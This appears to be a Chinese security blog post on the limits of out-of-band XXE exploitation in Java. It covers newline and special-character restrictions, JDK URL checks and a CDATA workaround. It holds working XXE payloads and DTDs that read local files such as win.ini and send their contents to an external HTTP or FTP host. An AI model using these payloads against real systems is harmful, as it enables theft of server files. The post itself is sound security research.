關於Java 中 XXE 的利用限制探究

一般而言,在Java裏碰到XXE,如果是有回顯的,那自然很好辦,如果是沒有回顯,那就需要我們構造通道來把數據帶出,過去在XXE利用中,如果單純使用HTTP協議(除了作爲結尾的CRLF外,不允許出現單獨的CR或LF字符),是無法讀取具有換行的文件的。

比如常用作驗證的win.ini文件就有換行

1.png

 

如果想把該文件傳送出去,將會報錯 Illegal character in URL

2.png

 

rt.jar!\sun\net\www\http\HttpClient.class中的420行,存在對換行的判斷

 

if (var1.indexOf(10) == -1) {
  return var1;
} else {
  throw new MalformedURLException("Illegal character in URL");
}

這個時候如果是PHP環境,那很好辦,給數據編碼一下就可以順利帶出,比如base64

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil2.dtd">
%dtd;
%send;
]>
<root></root>

這樣,即使文件存在Illegal character也可以帶出,但是Java又沒有相關編碼的協議啊,這時候我們往往會利用FTP協議來向外傳遞數據,這些數據本身可能包含\r、\n等字符

3.png

 

看起來似乎很美好,問題得到了解決,但是,我們往往會碰到一些意外情況,如果文件中有下面這些字符呢

‘ “ < > &

那將會得到以下報錯,實體XXX的聲明必須以>結尾

4.png

 

dtd文件如下:

<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'ftp://xxxxxx/%file;'>"> %payload;

這是因爲xml在解析的時候,會把實體進行替換,帶有單引號的文件內容在拼接進字符串之後,單引號與send實體的單引號進行了閉合,然後後面的數據就變成了無效數據

5.png

 

如果文件中單引號後面是除了右尖括號>以外的字符,那麼就會報實體XXX的聲明必須以>結尾的錯誤

如果單引號後恰巧是右尖括號,那也不行,你後面還是有垃圾數據,頂多報錯換一下

6.png

 

那這個時候還有什麼辦法讀取這類的特殊文件呢?

xml在設計的時候就考慮到了這種情況,雖然一般情況下xml要求要使用這些符號最好是把相應字符用對應實體引用來代替,但是如果是不得不用的情況下,可以使用CDATA方法來讀取。

CDATA 指的是不應由 XML 解析器進行解析的文本數據(Unparsed Character Data),CDATA 部分中的所有內容都會被解析器忽略。CDATA 部分由<![CDATA[開始,由]]>結束:

讓我們對payload進行一下修改:

dtd

 

<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxxx/%start;%r;%end;'>">

payload

 

<?xml version="1.0"?>
<!DOCTYPE cdl [
<!ENTITY % r SYSTEM "file:///C:/Users/mrzha/Desktop/test.ini">
<!ENTITY % asd SYSTEM "http://111.111.111.40:48111/cdata.dtd">
%asd;%c;%rrr;]>

但是其實這種方法是沒辦法的,因爲它還是需要拼接到url裏去,依舊會和外部的單引號閉合,如

7.png

但是,CDATA方法可以用於xxe有回顯的情況,也算是一種不錯的方法了。

正常讀取無法讀取

8.png

使用CDATA方法讀取,但是請注意,這種情況還是不夠完美,至少對於單獨的 & 符號還是沒辦法

9.png

 

除非構成了完整的實體引用格式

0.png

另外JDK的版本更迭對使用FTP作爲信息傳送通道這一個技巧有影響,這也是爲什麼高版本無法用FTP來讀取多行文件,因爲FtpURLConnection.class中的static方法checkURL裏的var0.toExternalForm().indexOf(10) > -1,此處解析URL並檢查URL中是否存在換行符(ascii爲10),如果存在則拋出異常

具體checkURL在哪一個版本開始檢查換行,筆者沒有一個一個去看,有興趣的讀者可以找找看

rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class

 

static URL checkURL(URL var0) throws IllegalArgumentException {
        if (var0 != null && var0.toExternalForm().indexOf(10) > -1) {
            MalformedURLException var3 = new MalformedURLException("Illegal character in URL");
            throw new IllegalArgumentException(var3.getMessage(), var3);
        } else {
            String var1 = IPAddressUtil.checkAuthority(var0);
            if (var1 != null) {
                MalformedURLException var2 = new MalformedURLException(var1);
                throw new IllegalArgumentException(var2.getMessage(), var2);
            } else {
                return var0;
            }
        }
    }

總結

總的來說,如果是php環境,那自然是萬事大吉,但是在java環境中,如果

有回顯(不需要通過URL外帶):

1. 普通文件 -> 直接讀取回顯

2. 帶換行文件 -> 直接讀取回顯

 

 

含特殊字符文件 -> CDATA回顯

3. 含特殊字符且有換行文件 -> CDATA 回顯

 

 

無回顯:

1. 普通文件 -> HTTP或者FTP都可以帶出

 

 

帶換行文件 -> FTP帶出 3. 含特殊字符文件 -> 。。暫時沒好的辦法 4. 含特殊字符且有換行的文件 -> 。。暫時沒好的辦法

 

 

另外,需要注意JDK版本的影響

參考

http://scz.617.cn/misc/201911011122.txt

XXE漏洞分析與實踐

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章